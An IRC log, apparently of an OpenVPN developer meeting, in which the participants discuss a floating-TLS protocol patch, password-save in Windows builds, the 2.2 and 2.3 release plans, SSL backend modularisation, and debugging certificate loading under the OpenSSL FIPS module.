(to my understanding) does extend the protocol without breaking backwards compatibility be a good approach, but that we think a bit more about that first ... like adding a 32bit (64bit?) field stating protocol features, and then one of these bits can indicate --tls-float, and then that session id blaisegassend needs would come encoded somewhere together with openvpn data? 12:35 < ecrist> it would be nice for multi-homed networks 12:35 <@mattock> jamesyonan: so could the client send the "session FOO is now at" message _after_ IP has changed? 12:35 <@dazo> that sounds like a safer approach too 12:35 <@cron2> before it changes would be somewhat tricky 12:35 <@dazo> the server doesn't "guess" where the client moved 12:35 <@jamesyonan> dazo: agreed -- some sort of capabilities handshake would be good 12:35 <@dazo> cron2: :) 12:36 <@cron2> but if we ever get to implement the "predict future" module, I'd like to buy a few lottery tickets :) 12:36 <@mattock> me too, stupid question :) 12:36 <@jamesyonan> the problem with the data channel session ID is that it's very compressed and not unique across all clients 12:38 < blaisegassend> A bit overwhelmed by the various threads. What is the DOS attack you have in mind? If you only accept the new IP/port after you have authenticated the packet, you should be good, no? 12:38 <@jamesyonan> blaisegassend: there's no encryption at all on your ID prefix? 12:38 < blaisegassend> No encryption on the prefix. 12:39 < blaisegassend> (Just as there is no encryption on the IP/port) 12:39 <@jamesyonan> right, that's fine 12:40 < Essobi> ecrist: Let me know when the meeting is over please. :) 12:40 <@dazo> Essobi: bored already? ;-) 12:40 <@jamesyonan> yes, in principle I think the ID prepending approach is less complicated than the alternatives 12:41 < blaisegassend> I don't like approaches that need a control message to switch because if that control message gets lost you delay when the server starts sending to the new IP/port. 12:41 <@jamesyonan> agreed 12:41 < blaisegassend> This approach has worked well for me because it is extremely simple. If a packet gets to the server, the server switches to the new location. 12:41 < blaisegassend> Unless there is a specific security problem that folks can find, I would rather keep this simplicity. 12:41 <@dazo> but if we take that step to prepend ... let's consider a feature handshake, to avoid needing later on to add yet another layer, which might break something more 12:42 <@dazo> easily 12:42 < blaisegassend> I don't want my videoconference to get interrupted for a second because a few control packets got lost. 12:42 <@jamesyonan> I agree that it's simple. But it adds some extra overhead to the protocol. 12:43 < blaisegassend> Dazo: What do you mean by feature handshake? 12:43 <@dazo> blaisegassend: see my msg @19:35:13 12:43 < Essobi> dazo: nosir 12:45 < blaisegassend> dazo: Are you referring to your adding a 32bit field proposal? (I don't have the times displayed). 12:45 < ecrist> yes, he is 12:45 <@dazo> blaisegassend: yes ... I sent a copy in PM 12:45 < blaisegassend> In that case, I would argue that the opcode is effectively doing exactly what you suggest. 12:45 <@dazo> blaisegassend: how many bits is that opcode? 12:45 <@jamesyonan> [ I've got a meeting in 10 minutes ] 12:46 < blaisegassend> If you see a packet with the FLOATING_TLS_OPCODE then you know it is a floating tls packet. 12:46 <@mattock> jamesyonan: a quick question: did you enable --enable-password-save on the Windows build for 2.2-beta5? 12:46 <@mattock> I can't remember if I mentioned about that to you... 12:46 <@dazo> blaisegassend: yeah, but my point is that we want to make sure we can extend the protocol more easily without breaking different clients protocol support 12:47 <@jamesyonan> mattock -- no I didn't 12:47 <@mattock> ok 12:47 <@mattock> jamesyonan: what's your final take on current floating-tls implementation? 12:47 <@jamesyonan> mattock: there's a setting for that in install-win32/settings.in 12:47 <@jamesyonan> but I would need to rebuild 12:48 * dazo votes for *not* rebuilding beta5 ... rather do that for the RC release 12:48 <@mattock> +1 12:48 <@cron2> huh, how did we jump to beta5 12:48 <@dazo> cron2: mattock diverted it :) 12:48 <@mattock> cron2: our release pace was too slow for our development pace 12:49 <@cron2> ah 12:49 <@cron2> mattock: yes, I noticed that 12:49 <@jamesyonan> I think floating-tls is reasonable if it's disabled by default and if it's backward compatible from a protocol perspective 12:49 < blaisegassend> By disabled by default you mean not compiled in, correct? 12:50 <@jamesyonan> yes 12:50 < blaisegassend> That sounds reasonable. 12:50 < blaisegassend> Just out of curiosity, the idea here is to prevent code bloat for the default configuration? 12:51 <@mattock> yes, and also to prevent code bloat for embedded systems 12:51 <@dazo> I would like to have a broader discussion about opcode/feature set indication in the protocol layer before going for an inclusion 12:51 <@mattock> dazo: you mean like "future proofing" this patch? 12:51 <@dazo> mattock: yes 12:52 <@mattock> sounds reasonable to me 12:52 <@dazo> and to make sure we can extend the protocol more easily in the future 12:52 < blaisegassend> It seems to me that the feature set approach makes more of a break to the protocol now. 12:54 <@dazo> it completely possible that I've misunderstood something ... but for me prepending this session ID you use (instead of IP/port) before the real OpenVPN packets, right? 12:54 < blaisegassend> But I'm not sure I have a clear enough picture of your suggestion. 12:54 < blaisegassend> Each openvpn packet starts with an opcode. I added an opcode that is used by floating TLS packets. 12:55 < blaisegassend> If a non floating-tls client sees a floating-tls packet it will ignore it because it does not know that opcode. 12:55 <@jamesyonan> re: protocol capabilities handshake, look at key_method_2_(read|write) in ssl.c 12:55 <@jamesyonan> this is the place where stuff like that would be implemented 12:55 <@dazo> blaisegassend: aha! Then I catch better 12:55 * dazo looks at the code 12:56 <@jamesyonan> the protocol is already designed so that certain changes can be made here without breaking backward compatibility 12:57 <@dazo> that's my misunderstanding then ... I was not aware of that one 12:57 < blaisegassend> Would these capabilities show up in a data packet? 12:57 <@jamesyonan> no, this is the control channel 12:57 < blaisegassend> If they don't then I still need something to allow me to determine if a packet is a floating-tls packet, and if it is what the session-id is. 12:57 < blaisegassend> An extra opcode seems very natural for that. 12:57 <@dazo> blaisegassend: indeed 12:58 <@dazo> jamesyonan: how big is the current OPCODE field? 12:58 <@dazo> blaisegassend: ^ 12:58 <@dazo> 8 bit? 12:58 <@jamesyonan> but keep in mind that this is for per-session negotiation, not per-packet 12:58 < blaisegassend> Currently the opcode is 6 bits, if I recall, but let me double check. 12:58 <@jamesyonan> I gotta run now 12:59 <@dazo> jamesyonan: c'ya! Great you could join today! 12:59 < blaisegassend> dazo: you sound more in favor of the approach now. 12:59 < blaisegassend> jamesyonan: thanks for the discussion. 12:59 <@mattock> bye jamesyonan! 12:59 <@dazo> blaisegassend: As long as we're able to extend the protocol without breaking it after your approach 13:00 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 13:00 < blaisegassend> I think it would be just as easy to extend the protocol after the floating-tls patch as before. 13:00 <@dazo> blaisegassend: but I would like to avoid spending an OPCODE for only this feature .... if it would be possible to indicate the --tls-float flag in a feature register which is bigger, we won't limit the protocol so easily 13:00 <@dazo> especially if the OPCODE is just 6 bits 13:02 < blaisegassend> Just checked. Opcode is 5 bits. 13:02 <@dazo> that's even "worse" :) 13:02 < blaisegassend> Currently only 8 opcodes are used. 13:02 <@dazo> yeah, but imagine we're having bigger plans for OpenVPN3 ... which will be more modular, and might add a lot of more features 13:03 < blaisegassend> Most features you can do just fine without opcodes. 13:03 <@dazo> it's not a requirement to keep it protocol compatible with 2.x ... but if that's doable, I think that's better 13:04 < blaisegassend> This is a good candidate for an extra opcode because you want to encapsulate all traffic to/from a client with a session ID. 13:04 <@dazo> so you send TLS_FLOAT_OPCODE | session ID | openvpn packets 13:04 < blaisegassend> Exactly. 13:05 <@dazo> or NORMAL_OPCODE | openvpn packets 13:05 < blaisegassend> Yup. 13:05 <@cron2> sounds like a nice hack to me :-) (not that i know anything about the SSL/TLS stuff) 13:05 < blaisegassend> By having floating-tls at this high level, nothing else in the code needs to be aware of it. 13:06 <@dazo> yeah, but that's why I was initially thinking: V2_PROTO_OPCODE | feature_register (tls-float=1)| session ID | openvpn packet 13:06 <@dazo> and then other features could append their own packets, based on the feature register ... and the parse would just extract the packets accordingly 13:06 <@dazo> do you follow my thoughts now? 13:07 < blaisegassend> Yes, but the layering seems backward to me. 13:07 <@dazo> fair enough, I'm open for other possibilities 13:07 < blaisegassend> You are now saying that all opcode types will have this feature register. 13:07 < blaisegassend> Otherwise opcodes that don't have that feature can't work with floating-tls. 13:08 < blaisegassend> But if all opcodes have that feature_register, then it should really appear before the opcode. 13:08 <@dazo> yes, in the case the opcode is V2_PROTO_OPCODE 13:08 < blaisegassend> So now in fact effectively extended what an opcode is. 13:08 <@dazo> yes 13:09 < blaisegassend> I'm going to have to take off here soon. 13:09 <@dazo> but, to make sure it is backwards compatible ... using a V2_PROTO_OPCODE, to make sure we don't break the protocol 13:10 <@mattock> can we reach an agreement on this today? or shall we continue discussion on the mailing list? 13:10 < blaisegassend> If you use a V2_PROTO_OPCODE, you are going to break the protocol. 13:10 < blaisegassend> And it isn't clear to me which would be the right V2 opcode to use. 13:10 <@dazo> not in any other way how your TLS_FLOAT_OPCODE works 13:11 < blaisegassend> It might make sense to move this to the mailing list. 13:11 <@mattock> I agree 13:11 <@mattock> think about this for a while and allow other devs to participate 13:11 <@mattock> dazo: could you send mail to -devel about this? 13:12 < blaisegassend> dazo: if you have a specific proposal, could you write it up briefly? 13:12 <@mattock> with a summary of what we discussed today 13:12 < blaisegassend> (On the mailing list) 13:12 <@dazo> mattock: I can ... it'll probably be in the weekend or so 13:12 <@mattock> I don't think we're in a hurry 13:12 <@dazo> blaisegassend: I'll combine my proposal 13:12 <@mattock> excellent! 13:12 <@mattock> (we can move on) :) 13:12 < blaisegassend> Thanks for the discussion folks. 13:13 <@dazo> blaisegassend: thank you too :) 13:13 <@mattock> blaisegassend: great that you could discuss this with us! 13:13 -!- blaisegassend [~blaise@gw.willowgarage.com] has quit [Quit: Leaving] 13:13 <@mattock> I hope we'll be seeing you here in the future! 13:13 <@mattock> ok, so ecrist suggested we discuss --enable-password-save on windows builds 13:14 <@mattock> I believe we decided to include that feature on Windows builds by default... but current 2.2-beta5 builds are still lacking it 13:14 <@dazo> I'm not too much in favour of that, tbh ... not until we can forcefully disable it from the server 13:15 <@cron2> people use it, and will not use our builds if we do not provide it, so this would reduce testing coverage 13:15 <@cron2> I think we've been through this before... 13:15 <@dazo> we have 13:15 <@mattock> I'll try to find the meeting where this was discussed... 13:16 <@mattock> ok, here: http://article.gmane.org/gmane.network.openvpn.devel/3927/match=enable+password+save 13:16 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 13:16 <@mattock> there's a typo, though... "disabled", not "enabled" 13:17 <@mattock> discussion starts at 21:06:49 13:19 <@dazo> probably need to see to check up the reactions on the ML 13:20 <@mattock> let me know if you find a link 13:22 <@mattock> ok, here they are: http://search.gmane.org/?query=Turning+--enable-password-save+on+by+default+on+Windows+builds&author=&group=gmane.network.openvpn.user&sort=date&DEFAULTOP=and&xP=enable%09password%09save&xFILTERS=Gnetwork.openvpn.user---A 13:23 <@mattock> or here in thread form: http://thread.gmane.org/gmane.network.openvpn.user/30958/match=turning+enable+password+save+default+windows+builds 13:23 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:24 <@dazo> http://thread.gmane.org/gmane.network.openvpn.user/30958/focus=30974 13:24 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:24 <@dazo> that's one of the main threads 13:25 < ecrist> sorry, back 13:26 <@cron2> I see open source religion at work :) 13:26 <@cron2> some want it, others oppose it 13:26 <@mattock> and Jason Haar gave the final comment and nobody dared oppose him :) 13:26 <@dazo> yeah :) 13:26 * ecrist kind of agrees with him. 13:26 <@mattock> I think Jason has very good points 13:27 <@mattock> there really is nothing we can do to _prevent_ people from using --enable-password-save 13:27 < ecrist> all we're really doing is pissing people off by NOT having it enabled. 13:27 <@mattock> and really, the server can't detect if the password is typed or not... if the user is motivated to circumvent the protection 13:28 <@dazo> nope, currently on windows it is "security by obscurity" ... as it's just a rebuild to enable it 13:28 <@mattock> so, next build (2.2-rc1) will enable it? 13:28 <@dazo> well, the advantage of enabling it is that it might encourage someone to write a patch implementing a push statement for disabling it 13:28 <@mattock> yep, good point 13:29 <@cron2> of course the client would be free to ignore that option... 13:29 <@mattock> except that somebody could modify the openvpn client to ignore the push statement :) 13:29 <@dazo> lets try it ... I fear it can be noisy 13:29 <@cron2> "open source" :) 13:29 <@cron2> mattock: +1 :)) 13:29 <@mattock> +1 13:29 <@mattock> :D 13:29 <@mattock> ok, so we're in agreement 13:29 <@mattock> next topic? 13:29 <@dazo> heck, the client could even be compiled with the username and password 13:29 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 13:29 <@mattock> yeah, true 13:30 <@mattock> nasty 13:30 <@dazo> release plan for 2.2? 13:30 <@mattock> sounds good 13:30 <@mattock> 2.2-beta5 will be out probably tomorrow 13:30 <@mattock> 2.2-rc1? 13:30 <@dazo> I'm imagining running 2.2-beta5 until Christmas 13:30 <@mattock> when? 13:30 <@cron2> very good 13:31 <@dazo> if nothing happens at all ... I'm wondering if we should repack + compile beta5 as it is to 2.2-rc (without number) 13:31 <@dazo> I don't see the point of it, other than the visual effect 13:31 <@dazo> and then if no complaints ... we're releasing 2.2 within first 2 weeks of January 13:32 <@mattock> hmm, interesting approach... but makes sense 13:32 <@mattock> one would assume something changes between versions, but I guess that's not mandatory 13:32 <@dazo> As I see it, we don't have much new features in 2.2 which might break things 13:32 <@mattock> I'm sure I find a Windows-related bug we need to fix :) 13:32 <@dazo> and if we don't have any fixes for some time ... it's as stable as we can make it 13:32 <@dazo> heh 13:32 <@dazo> true 13:33 < ecrist> no big changes in 2.2-beta5 then? 13:33 < ecrist> I'd still *really* like to see at least one RC 13:33 <@dazo> or else, we're back in the track of 2.1_rc15 ... which was "stable" for almost a year 13:33 * cron2 would *really* like to see the test framework in use... 13:33 <@mattock> mattock would like to see Windows build system fully operational :) 13:34 <@dazo> ecrist: yeah, but if there's no complaints to beta5 ... we're renaming it to RC ... as it there's nothing to fix yet ... or else we might wait until march or april before somebody finds something, that would rather be a reasonable 2.2.1 release in that case 13:35 <@mattock> dazo: I agree there's no point in waiting just for the sake of waiting 13:35 <@mattock> I'm sure people will find bugs eventually, but we need to push stuff out as fast as possible (without breaking things badly) 13:35 < ecrist> why not just release it today as an RC, then? 13:35 <@dazo> yupp! 13:35 <@dazo> because we added a couple of features 13:35 < ecrist> ah, ok 13:36 <@dazo> (SOCKS auth + TAP on Solaris) 13:36 <@mattock> Adding support for SOCKS plain text authentication 13:36 <@mattock> Add HTTP/1.1 Host header 13:36 <@mattock> TAP support on Solaris 13:36 <@mattock> "topology subnet" made to work on Solaris 13:36 <@mattock> Lots of bugfixes, see Changelog for details 13:36 <@mattock> ecrist: I think we followed your suggestion ;) 13:36 <@mattock> by rolling out another beta 13:36 <@dazo> we did :) 13:36 < ecrist> ah, ok 13:37 <@dazo> ecrist: make up your mind please! We're jumping when tell us! 13:37 <@mattock> :) 13:37 <@mattock> so the plan is this: release 2.2-beta5 now, 2.2-rc @Christmas, 2.2 (FINAL) on January 13:37 <@cron2> +1 13:37 <@mattock> I think that would work 13:38 < ecrist> dazo: I'm like a puffer fish, I get all excited easily. 13:38 <@dazo> heh :) 13:38 <@mattock> http://en.wikipedia.org/wiki/Puffer_fish 13:38 <@vpnHelper> Title: Tetraodontidae - Wikipedia, the free encyclopedia (at en.wikipedia.org) 13:38 <@mattock> ecrist: are you poisonous and delicious, too? 13:39 <@dazo> his wife would probably know :-P 13:39 <@mattock> +1 13:39 <@mattock> ok, order in the court... 13:39 <@mattock> what about the new features cron2 suggested? 13:40 <@mattock> or talked about 13:40 <@dazo> that was for 2.3 13:40 <@dazo> my mistake 13:40 <@mattock> ok 13:40 <@dazo> no new features into 2.2, that's frozen now ... only bugfixes 13:40 <@mattock> good 13:40 <@cron2> what he said 13:40 < ecrist> http://secure-computing.net/files/puffy.jpg 13:41 <@mattock> next topic would be "Milestone dates for 2.3-beta" 13:41 <@dazo> I suggested in a mail regarding modularising the SSL layer (somebody has done that job, waiting for 2.2 to be released) 13:41 <@mattock> I got a the OpenVPN puffy at the cover of my Thinkpad T42 13:41 <@dazo> and I initially said that would be suitable for 2.4 ... and cron2 to said "why not 2.3?" 13:41 < andj> hi 13:41 < andj> that was me 13:41 < andj> :) 13:41 <@mattock> dazo: oh yes, I remember now 13:42 <@mattock> andj: welcome! 13:42 <@dazo> If we have a decent test environment available at that point .... I'm in favour to push it into 2.3 13:42 <@dazo> andj: cool! thx a lot for your work ... even though we haven't seen it yet :) 13:42 < andj> mattock: thanks, I'll try to get the patches ready for a preview ASAP 13:42 <@dazo> I say the Doxygen patch is mostly welcome almost immediately 13:43 < andj> yeah, that shouldn't change too much 13:43 < andj> I've been working on the patches for work, which was fun, nice to be able to release something to the community 13:43 <@dazo> that's for sure for 2.3 ... and if the patches for SSL modules with minimum OpenSSL support is in place and have been tested and merged into the tree before we start 2.3-beta ... I'm all for that 13:44 < ecrist> I think Essobi still needed some pointers in regards to FIPS 13:44 < andj> anyway, I'll see if I can integrate some of my own tests into the new test framework 13:44 < andj> (Haven't played with that at all yet) 13:44 <@dazo> andj: cool! 13:45 <@dazo> andj: If you get the 2.2 tree around early January ... will that be enough time for you to massage the patches for inclusion for a 2.3-beta - say March-ish? 13:45 <@cron2> andj: that would be very welcome. it's somewhat bare-bones yet - it works, but it can certainly be extended 13:45 < andj> anyway, the 2.2 work would be partially on my own time, and partially on work time, so I'd have to see how busy things are then 13:45 < Essobi> ecrist: Can I start throwing some thoughts at the channel? Something is wonky in the ctx handed to SSL_CTX_set_cipher_list in ssl.c ~ line 1853. 13:46 < Essobi> Or wonky in how the FIPS module is handling it. 13:46 < Essobi> But I'll BRB 13:46 < ecrist> these are the folks that can help you. 13:47 < andj> But I'd much rather work towards a stable (2.2) target, than a moving one, as we have now 13:47 < andj> So I'll leave that for januari 13:47 <@dazo> mattock: so ... for 2.3 schedule .... I'm suggesting 2.3-beta (late February/) early March .... with a complete release say late summer - early August, perhaps? 13:48 <@mattock> what will be in 2.3? 13:48 <@mattock> IPv6? 13:48 <@dazo> andj: The 2.2 branch will only get bugfixes .... and the gap between beta3-5 is less than 30 patches, I believe 13:48 <@dazo> mattock: IPv6 is definitely ... hopefully new Windows GUI? 13:48 <@mattock> noticeably less, maybe 15 13:48 <@mattock> new GUI should be no problem 13:49 <@mattock> when I get Windows python build working 13:49 <@dazo> mm 13:50 <@mattock> dazo: what does "mm" mean? :) 13:50 <@dazo> just like the sound 13:50 <@dazo> (agree) 13:50 <@mattock> ok, good 13:51 <@mattock> I think 2.3 release schedule is doable 13:51 <@mattock> especially as most features are already available 13:51 <@dazo> yes, the joker is the new SSL modularisation 13:52 < andj> and you can't tell until you've seen the code 13:52 <@dazo> :) 13:52 <@mattock> let's not worry about that right now, then 13:52 <@dazo> nope! 13:52 <@cron2> mattock: any news about coverity? 13:52 < ecrist> do we have a list of developers somewhere, yet? 13:53 <@dazo> probably not 13:53 < ecrist> i.e. who's active, recent commits or anything 13:53 <@cron2> ecrist: don't know anything 13:53 <@dazo> that's doable to extract from git 13:53 <@mattock> cron2: no, no progress there (as usual) 13:53 <@dazo> which timespan? last year? last 3 months? 13:53 <@mattock> I think the changelogs for latest releases are a pretty good indicator 13:54 <@dazo> actually, the complete 2.2 release ChangeLog do have all developers mentioned 13:54 < ecrist> just thinking in terms of when someone wants to know who the 'developers' are 13:54 <@mattock> I think using git for that is best... manually edited lists tend to get outdated 13:54 < ecrist> right 13:54 < common> I'd be carefull with ssl modularisations 13:55 <@mattock> and normal people can check the changelog 13:55 < ecrist> I'll probably post something at secure-computing.net I parse out 13:55 <@dazo> and the git log also have e-mail addresses to the authors 13:55 <@mattock> however, we _could_ mention on the Wiki that "to see who's developing OpenVPN, check the changelog" 13:55 < common> the bridge code gets messy easily due to very different interfaces 13:56 < ecrist> my reason for asking is because I want to make sure all the developers who want/need access to trac have it 13:56 < common> polarssl may be cheap, I think it got an api similar to openssl, but others, like nss, will give you serious headache 13:56 <@dazo> common: afaik, andj is using his changes implementing PolariSSL in production ... so the basic stuff should work ... we need to make sure OpenSSL works as well, and with some ~3 months development before beta kicks in, I think we should be able to tell 13:56 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 13:57 < common> and once you go for different ssls, people will ask for nss, as it is easier to get fips 140 with nss than with openssl 13:57 <@dazo> common: if it's too unstable for 2.3, it'll be pulled out and put into 2.4 13:57 < common> and then you got three different ssl apis to maintain 13:57 <@dazo> common: fair enough ... but we don't accept drop'n'run patches .... so we need to see that people maintain their contributions 13:58 < andj> I've tried to keep the backend api as close to the primitives as possible, and it works well for both polar and openssl 13:58 <@dazo> ^^^ that is what calms me down 13:58 < common> if you want to see what can happen for multiple ssl backends 13:58 < andj> but I have no idea how nss/gnutls/... hold up 13:59 < common> look at curl, openssl, nss, gnutls, polarssl 13:59 * dazo trusts andj has done his homework ... until otherwise proven when the patches arrives :) 14:00 * andj hopes he can live up to that 14:00 < andj> :) 14:00 <@dazo> :) 14:00 <@mattock> I agree we should wait for the patches before discussing this further... and if polarssl and openssl work fine using an abstraction layer, nobody can force us to access more messy code (e.g. for nss) into the codebase 14:00 <@dazo> nope 14:01 <@dazo> (= I agree) 14:01 <@mattock> we can say "we support these ssl providers: ..." 14:01 <@mattock> and not these, because it would be difficult to implement 14:01 <@mattock> and error-prone 14:01 < andj> anyway, my priority for the moment is cleaning up the patches and PKCS #11 support for polar 14:01 < common> http://fedoraproject.org/wiki/FedoraCryptoConsolidation 14:01 <@vpnHelper> Title: FedoraCryptoConsolidation - FedoraProject (at fedoraproject.org) 14:02 < andj> and getting some more tests in. I'll have a look at incorporating them into the test framework 14:02 <@dazo> andj: Alon Bar-Lev has done a lot of the PKCS#11 work in OpenVPN ... so he might speak up 14:03 < andj> Thanks, I'm not planning on changing anything there, except for splitting out an OpenSSL and PolarSSL backend 14:03 <@dazo> :) 14:03 < andj> So the basic code should stay the same 14:04 <@dazo> yeah, he might have a look into that as well ... He is only active on the ML, so you'll hear from him there 14:04 < andj> It'll be a separate patch 14:04 < Essobi> Mkay.. So I verified the certs I generated with easy-rsa work in beta3 compiled against the stock openssl I have installed. 14:04 < andj> so we can cross that bridge when we get there 14:05 <@dazo> thx! 14:05 <@dazo> Essobi: that sounds like good news! 14:06 < andj> Anyway, if there's no other questions about the patch set I'll go back to lurk mode 14:06 <@dazo> do that :) feel free to hang out here! 14:06 <@dazo> andj: by the way, I sense Essobi might be an SSL resource as well ... :) 14:06 < andj> thanks for the good reception, I'll see how fast I can get a preview out 14:07 <@dazo> you're most welcome! 14:07 <@mattock> andj: see you again! 14:07 < Essobi> Using the same config, with the OpenSSL FIPS module, it aborts loading at loading the certificate chain file.. 14:07 < Essobi> http://pastebin.com/dm8bKvzM 14:07 < andj> I'm open to any suggestions, what I worked on isn't set in stone, so let me know if there's any major problems 14:07 < Essobi> I assume you guys don't want pasting to the channel.. some places consider it rude. 14:07 <@dazo> andj: we will, when we see patches :) 14:07 <@dazo> Essobi: that's right :) 14:08 <@mattock> one more thing about the SSL abstraction layer... what are the primary reasons one would want to use a non-OpenSSL SSL implemetnation? 14:08 <@cron2> openssl code base is HUGE 14:08 <@mattock> FIPS compliance? 14:08 <@mattock> performance? 14:08 < andj> embedded systems 14:08 <@cron2> that's a problem for embedded 14:08 < common> footprint & maybe fips certification 14:08 < Essobi> mattock: federal security requirement 14:08 < andj> and security evaluations 14:08 <@cron2> on a wr54gl, openssl 1.0 will fit about all available flash... 14:08 <@dazo> mattock: OpenSSL can be messy to work with ... NSS is another reason for FIPS requirements 14:08 < andj> which is our game here 14:09 <@mattock> ok, just wanted to check there are good reasons to do this 14:09 <@dazo> oh yeah, it is :) 14:09 <@mattock> so lets just wait for andj's patches and take it from there 14:09 < common> dazo: do you expect nss to be easier to work with? 14:09 * dazo need to do some real work, so he gets his payslip 14:10 < Essobi> Using the certified OpenSSL FIPS module gives the product FIPS compliance by proxy so long as it's the only thing doing crypto in the code, and the libs are build to their spec. 14:10 <@dazo> common: I dunno ... I've never done nss stuff, except from a little bit on the user side 14:10 < Essobi> FIPS compliance is required for a lot US/Canadian State/Federal use. 14:10 < common> from my experience openssl is hard to beat from an api/documentation perspective 14:12 < andj> the api is nice, but the code isn't easy to read (not that I want to start a flame war here) 14:12 < Essobi> http://pastebin.com/Uu0GK3gT 14:12 < andj> which makes it hard to evaluate 14:13 < common> the documentation is a bitch too, but if once you understood it, it makes sense 14:14 < Essobi> also... 'make check' fails with openssl-fips in use.. It would appear to be the exact same error. 14:15 < Essobi> Is there a way to tell if the cert_file in question is RSA vs DSA? 14:15 <@mattock> any objections to ending the "official" portion of the meeting? we covered all topics already 14:16 < Essobi> mattock: Woops.. sorry, thought it was over. 14:16 <@mattock> essobi: no problem, I think it has ended already :) 14:16 <@mattock> no objections yet... 14:16 <@mattock> I'll write meeting summary tomorrow and send it to -devel 14:34 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 14:34 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 14:38 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 14:46 < Essobi> So anyone around with a solid understanding of the openSSL libs? 14:46 * cron2 <- not 14:57 < Essobi> Meh.. It's bombing on PEM_R_NO_START_LINE in pem_lib.c 14:57 < Essobi> :\ 15:24 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 15:25 < Essobi> roentgen: howdy 15:26 < roentgen> Essobi: hi 15:27 < Essobi> Intertubes flapping? 15:27 <@dazo> Essobi: sorry .... I'm not too deep into the SSL stuff at all ... jamesyonan might know, but he is quite busy nowadays, so you'll need a lot of patience 15:27 < roentgen> ohh... sorry about it 15:27 < roentgen> very slow mobile net 15:27 < Essobi> dazo: I'm progressing through it.. just finding a lot of new terminology. I'm an openVPN newb. 15:27 <@jamesyonan> it's okay -- I'm around 15:27 < Essobi> roentgen: Aah. better then no tubes at all. ; 15:27 < Essobi> ;) 15:29 <@dazo> jamesyonan: cool :) Essobi is working on using the FIPS compliant OpenSSL version with OpenVPN 15:29 <@jamesyonan> right, that's pretty cool 15:30 <@dazo> it sure is :) Not too many people who either dares or know enough to really help out on the tricky parts here :) 15:30 <@jamesyonan> what's the prob? 15:30 < Essobi> Yup. By proxy it'll eartn OpenVPN FIPS compliant status and be eligible for use in US-State/Federal and Canadian gvmt work. 15:31 < Essobi> jamesyonan: I took a working config generated with easy.. made sure it worked on the standard system libcrypo, and everything works fine. 15:31 <@jamesyonan> it's very cool -- it will open up a lot of new organizations that will be able to use OpenVPN 15:31 < Essobi> jamesyonan: Recompiled with the FIPS module, and it fails to start. 15:32 < Essobi> jamesyonan: It's bombing out on the "cert" 15:32 < Essobi> jamesyonan: http://pastebin.com/Uu0GK3gT 15:33 < Essobi> I added a few debugging statements, to get the set error from SSL_CTX_use_certificate_chain_file... 15:34 <@jamesyonan> is there an OpenSSL error code that's returned by the failure? 15:34 < Essobi> 20788:error:0906D06C:PEM routines:PEM_read_bio:no start line:pem_lib.c:647:Expecting: CERTIFICATE 15:35 < andj> what does the first line of the certificate look like? 15:35 < Essobi> -----BEGIN CERTIFICATE----- 15:36 < Essobi> and file describes it simply as ASCII text, and I don't see any wonky stray characters. 15:37 < Essobi> jamesyonan: using this branch of openssl is causing "make check" to break too, it would appear in the same place.. it can't load the cert. 15:38 <@jamesyonan> no start line usually means that it can't find the content it was looking for in the file 15:39 < Essobi> Perhaps the easy generated configs are using a cipher that isn't allowed in FIPS mode? 15:40 <@jamesyonan> is there an alternate openssl.cnf (OpenSSL config file) for use with FIPS? 15:40 < Essobi> There is. 15:40 <@jamesyonan> you might want to diff that with the easy-rsa openssl.cnf 15:40 < andj> Does openssl rsa -in "certfile" -text work? 15:40 < Essobi> I wasn't sure I should be dropping that in place of the easy 2.0 generator's. 15:41 < andj> oh, sorry, it's a certificate file... openssl x509 -in <file> -text then 15:42 < Essobi> andj: Yes, it produces output. 15:43 < Essobi> jamesyonan: The diff between the two mostly results in the environment vars showing up.. default-md is defined as SHA1 instead of MD5, and the rest looks cosmetic with additional/optional params to the certs. 15:45 <@jamesyonan> when you build OpenSSL with FIPS, can you still run the OpenSSL self-tests? 15:45 < Essobi> jamesyonan: Yes. 15:46 < Essobi> Oh, wait.. I ran the FIPS self-test. 15:46 <@jamesyonan> because those self tests will use certs that by-definition have to load into that version of OpenSSL 15:46 < Essobi> what's the OpenSSL tests? 15:46 < Essobi> it passes the FIPS self-validation tests 15:46 <@jamesyonan> if you look the non-FIPS INSTALL file, it talks about running self-tests after build 15:46 < Essobi> `make test`? 15:47 < Essobi> Ah, ok 15:47 < Essobi> These might be the same ones just modified for FIPS 15:47 <@jamesyonan> So I'm thinking we could peek at a cert used by the self-test and see what the differences are between your cert 15:48 <@jamesyonan> are you trying to use RSA 1024? 2048? 15:48 < Essobi> I tried both. 15:51 < andj> by the way, why are both SSL_CTX_use_certificate_file an SSL_CTX_use_certificate_chain_file called from there? 15:51 < andj> shouldn't calling just the second one be enough? 15:52 < Essobi> andj: just calling chain_file, I believe is the preferred way, from what I was reading.. 15:56 -!- dazo is now known as dazo_afk 15:56 < andj> not that that should do anything harmful, but it is a slight deviation from the default usage 15:57 < Essobi> I'm shoving the fips library through a 'make test' now 15:59 < Essobi> Doesn't appear anything failed. 16:06 < Essobi> Ru-Roh... appreantly, you have to pass an env var to the fips generated openssl exe, to get it to run in FIPS mode 16:07 * Essobi goes back to re-generating the configs. 16:07 < Essobi> :\ 16:07 < Essobi> Hope that's it.. 16:09 < Essobi> just as a side note.. anyone know which config that is generated in make test would be the equiv of the certfile? 16:10 < Essobi> v3-cert2.pem? 16:18 < Essobi> Hmm.. Well the v3-cert2.pem is definately different the the one I generated. 16:22 < Essobi> jamesyonan: To highlight a few differences between the easy-rsa openssl.cnf... 16:23 < Essobi> jamesyonan: policy = policy_match is on in FIPS, and policy_anything is set in 2.0's cnf. 16:25 <@jamesyonan> http://wwwneu.secit.at/web/documentation/openssl/openssl_cnf.html#S_policy_match_and_S_poli 16:25 <@vpnHelper> Title: openssl.cnf - OpenSSL configuration file (at wwwneu.secit.at) 16:25 < Essobi> default_bits is set to 1024 in FIPS.. emailAddress_max is 64 in FIPS instead of 40... name = Name/name_max don't appear in FIPS.. 